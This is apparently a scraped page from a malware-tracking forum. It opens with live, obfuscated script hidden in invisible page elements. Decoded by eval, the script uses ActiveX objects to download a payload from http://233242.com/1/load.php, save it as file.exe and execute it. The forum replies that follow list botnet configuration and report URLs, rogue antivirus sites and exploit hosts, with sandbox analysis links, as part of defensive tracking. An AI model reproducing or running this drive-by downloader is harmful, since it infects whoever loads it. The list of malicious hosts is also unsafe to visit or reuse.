97.109.37.51.68.119.105.110.100.111.119.46.111.82.68.83.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.79.98.106.78.97.109.101.37.50.48.37.50.54.37.50.48.37.50.50.46.37.50.50.37.50.48.37.50.54.37.50.48.79.98.106.80.114.111.103.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.73.102.37.50.48.69.114.114.46.110.117.109.98.101.114.37.50.48.37.51.67.37.51.69.37.50.48.48.37.50.48.84.104.101.110.37.48.68.37.48.65.83.101.116.37.50.48.111.70.83.79.37.51.68.119.105.110.100.111.119.46.111.82.68.83.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.37.50.50.83.99.114.105.112.116.105.110.103.46.70.105.37.50.50.37.50.48.37.50.54.37.50.48.37.50.50.108.101.83.121.115.116.101.109.79.98.106.101.99.116.37.50.50.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.83.101.116.37.50.48.80.108.117.103.105.110.70.105.108.101.37.51.68.111.70.83.79.46.67.114.101.97.116.101.84.101.120.116.70.105.108.101.37.50.56.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.50.67.37.48.68.37.48.65.84.82.85.69.37.50.57.37.48.68.37.48.65.80.108.117.103.105.110.95.115.105.122.101.37.51.68.76.101.110.66.37.50.56.119.105.110.100.111.119.46.88.77.76.66.111.100.121.37.50.57.37.48.68.37.48.65.37.48.68.37.48.65.70.111.114.37.50.48.106.37.51.68.49.37.50.48.84.111.37.50.48.80.108.117.103.105.110.95.115.105.122.101.37.48.68.37.48.65.37.50.48.37.50.48.99.66.121.116.101.37.51.68.77.105.100.66.37.50.56.119.105.110.100.111.119.46.88.77.76.66.111.100.121.37.50.67.106.37.50.67.49.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.66.121.116.101.67.111.100.101.37.51.68.65.115.99.66.37.50.56.99.66.121.116.101.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.80.108.117.103.105.110.70.105.108.101.46.87.114.105.116.101.37.50.56.67.104.114.37.50.56.66.121.116.101.67.111.100.101.37.50.57.37.50.57.37.48.68.37.48.65.78.101.120.116.37.48.68.37.48.65.37.50.48.37.50.48.80.108.117.103.105.110.70.105.108.101.46.67.108.111.115.101.37.48.68.37.48.65.37.50.48.37.50.48.83.101.116.37.50.48.111.87.83.104.101.108.108.37.51.68.119.105.110.100.111.119.46.111.82.68.83.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.37.50.50.87.83.99.114.105.37.50.50.37.50.48.37.50.54.37.50.48.37.50.50.112.116.46.83.104.101.108.108.37.50.50.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.79.110.37.50.48.69.114.114.111.114.37.50.48.82.101.115.117.109.101.37.50.48.78.101.120.116.37.48.68.37.48.65.37.50.48.37.50.48.111.87.83.104.101.108.108.46.82.117.110.37.50.48.37.50.56.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.50.57.37.50.67.49.37.50.67.70.65.76.83.69.37.48.68.37.48.65.69.108.115.101.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.77.111.100.101.37.51.68.97.100.77.111.100.101.82.101.97.100.87.114.105.116.101.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.84.121.112.101.37.51.68.97.100.84.121.112.101.66.105.110.97.114.121.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.79.112.101.110.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.87.114.105.116.101.37.50.48.119.105.110.100.111.119.46.88.77.76.66.111.100.121.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.83.97.118.101.84.111.70.105.108.101.37.48.68.37.48.65.37.48.68.37.48.65.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.50.67.97.100.83.97.118.101.67.114.101.97.116.101.79.118.101.114.87.114.105.116.101.37.48.68.37.48.65.37.50.48.119.105.110.100.111.119.46.111.83.104.101.108.108.65.112.112.46.83.104.101.108.108.69.120.101.99.117.116.101.37.50.48.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.48.68.37.48.65.69.110.100.37.50.48.73.102.37.48.68.37.48.65.37.51.67.37.50.70.115.99.114.105.112.116.37.51.69.37.48.68.37.48.65.37.51.67.115.99.114.105.112.116.37.50.48.108.97.110.103.117.97.103.101.37.51.68.37.50.50.86.66.83.99.114.105.112.116.37.50.50.37.51.69.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.111.110.37.50.48.101.114.114.111.114.37.50.48.114.101.115.117.109.101.37.50.48.110.101.120.116.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.100.108.37.50.48.37.51.68.37.50.48.37.50.50.104.116.116.112.37.51.65.37.50.70.37.50.70.50.51.51.50.52.50.46.99.111.109.37.50.70.49.37.50.70.108.111.97.100.46.112.104.112.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.83.101.116.37.50.48.100.102.37.50.48.37.51.68.37.50.48.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.37.50.56.37.50.50.111.98.106.101.99.116.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.49.37.51.68.37.50.50.99.108.115.105.100.37.51.65.66.68.57.54.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.50.37.51.68.37.50.50.67.53.53.54.45.54.53.65.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.51.37.51.68.37.50.50.51.45.49.49.68.48.45.57.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.52.37.51.68.37.50.50.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.54.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.102.117.108.108.37.51.68.99.108.115.49.37.50.54.99.108.115.50.37.50.54.99.108.115.51.37.50.54.99.108.115.52.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.100.102.46.115.101.116.65.116.116.114.105.98.117.116.101.37.50.48.37.50.50.99.108.97.115.115.105.100.37.50.50.37.50.67.99.108.115.102.117.108.108.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.49.37.51.68.37.50.50.77.105.99.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.50.37.51.68.37.50.50.114.111.115.111.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.51.37.51.68.37.50.50.102.116.46.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.52.37.51.68.37.50.50.88.77.76.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.53.37.51.68.37.50.50.72.84.84.80.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.37.51.68.115.116.114.49.37.50.54.115.116.114.50.37.50.54.115.116.114.51.37.50.54.115.116.114.52.37.50.54.115.116.114.53.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.83.101.116.37.50.48.120.37.50.48.37.51.68.37.50.48.100.102.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.115.116.114.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.49.37.51.68.37.50.50.65.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.50.37.51.68.37.50.50.100.111.100.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.51.37.51.68.37.50.50.98.46.83.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.52.37.51.68.37.50.50.116.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.53.37.51.68.37.50.50.114.101.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.54.37.51.68.37.50.50.97.109.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.98.49.37.51.68.97.119.98.49.37.50.54.97.119.98.50.37.50.54.97.119.98.51.37.50.54.97.119.98.52.37.50.54.97.119.98.53.37.50.54.97.119.98.54.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.98.53.37.51.68.115.116.114.98.49.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.89.89.37.50.48.37.51.68.37.50.48.100.102.46.99.114.101.97.116.101.111.98.106.101.99.116.37.50.56.115.116.114.98.53.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.116.121.112.101.37.50.48.37.51.68.37.50.48.49.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.54.37.51.68.37.50.50.71.69.84.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.120.46.79.112.101.110.37.50.48.115.116.114.54.37.50.67.37.50.48.100.108.37.50.67.37.50.48.70.97.108.115.101.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.120.46.83.101.110.100.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.102.110.97.109.101.122.122.49.37.51.68.37.50.50.102.105.108.101.46.101.120.101.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.49.37.51.68.37.50.50.83.99.114.105.112.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.50.37.51.68.37.50.50.116.105.110.103.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.51.37.51.68.37.50.50.46.70.105.108.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.52.37.51.68.37.50.50.101.83.121.115.116.101.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.53.37.51.68.37.50.50.109.79.98.106.101.99.116.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.37.51.68.115.99.114.105.112.49.37.50.54.115.99.114.105.112.50.37.50.54.115.99.114.105.112.51.37.50.54.115.99.114.105.112.52.37.50.54.115.99.114.105.112.53.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.70.70.37.50.48.37.51.68.37.50.48.100.102.46.99.114.101.97.116.101.111.98.106.101.99.116.37.50.56.115.99.114.105.112.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.116.109.112.37.50.48.37.51.68.37.50.48.70.46.71.101.116.83.112.101.99.105.97.108.70.111.108.100.101.114.37.50.56.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.102.110.97.109.101.122.122.49.37.51.68.37.50.48.70.70.46.66.117.105.108.100.80.97.116.104.37.50.56.116.109.112.37.50.67.102.110.97.109.101.122.122.49.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.111.112.101.110.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.119.114.105.116.101.37.50.48.120.46.114.101.115.112.111.110.115.101.66.111.100.121.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.115.97.118.101.116.111.102.105.108.101.37.50.48.102.110.97.109.101.122.122.49.37.50.67.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.99.108.111.115.101.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.77.77.37.50.48.37.51.68.37.50.48.100.102.46.99.114.101.97.116.101.111.98.106.101.99.116.37.50.56.37.50.50.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.37.50.50.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.77.77.46.83.104.101.108.108.69.120.101.99.117.116.101.37.50.48.102.110.97.109.101.122.122.49.37.50.67.37.50.50.37.50.50.37.50.67.37.50.50.37.50.50.37.50.67.37.50.50.111.112.101.110.37.50.50.37.50.67.48.37.48.68.37.48.65.37.51.67.37.50.70.115.99.114.105.112.116.37.51.69.34.41.41.59</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|*]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("QIgskwBJjInK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script></script>
<style>.M7RtpCTPdGVn6K_41K{display:none;}</style>
<b class="M7RtpCTPdGVn6K_41K" id="K_41K1">^e!^^^v^!^a^l!^</b>
<script>window.onerror = return(true);</script>
<div class="M7RtpCTPdGVn6K_41K" id="M7RtpCTPdGVn6K_41K">13.10.100.111.99.117.109.101.110.116.46.119.114.105.116.101.40.34.60.111.98.106.101.99.116.32.105.100.61.92.34.75.95.52.49.75.67.56.122.92.34.32.99.108.97.115.115.105.100.61.92.34.99.108.115.105.100.58.123.57.55.65.70.52.65.52.53.45.52.57.66.69.45.52.52.56.53.45.57.70.53.53.45.57.49.65.66.52.48.70.50.56.56.70.50.125.92.34.62.60.47.111.98.106.101.99.116.62.34.41.59.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.65.56.122.40.41.13.10.32.123.13.10.32.118.97.114.32.75.95.52.49.75.66.56.122.32.61.32.34.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.34.13.10.32.75.95.52.49.75.67.56.122.46.79.112.101.110.87.101.98.70.105.108.101.40.75.95.52.49.75.66.56.122.41.13.10.32.125.13.10.32.75.95.52.49.75.65.56.122.40.41.59.13.10.32</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|^]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("M7RtpCTPdGVn6K_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script>

April 05, 2009, 07:08:36 pm
Reply #267

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
I believe reports to

newsineurope.net/z/config.bin
newsineurope.net/z/s.php?1=smoked_000de8e6&i=test
newsineurope.net/z/s.php?2=smoked_000de8e6&n=0&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?2=smoked_000de8e6&n=1&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?3=smoked_000de8e6&id=1238936099

http://wepawet.cs.ucsb.edu/view.php?hash=7e2b3bcf078f597a13b9d4f3cf60283c&t=1238957989&type=js

has changed to mabira.net/z/config.bin at the same host.
newsineurope.net/z/config.bin is not available.
Ruining the bad guy's day

April 05, 2009, 08:02:28 pm
Reply #268

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

April 05, 2009, 09:14:18 pm
Reply #269

CkreM

  • Special Access
  • Hero Member

  • Offline
  • *

  • 567
rogue:
Code: [Select]
http://tubeloyaln.com/scan/?id=260
http://winpc-antivirus.com/

exploit/trojan:
Code: [Select]
http://sykalab.net/inn/index.phphttp://wepawet.iseclab.org/view.php?hash=c8b425b1ef9fb404ee337d4e72d467b6&t=1238959411&type=js
Mal-Aware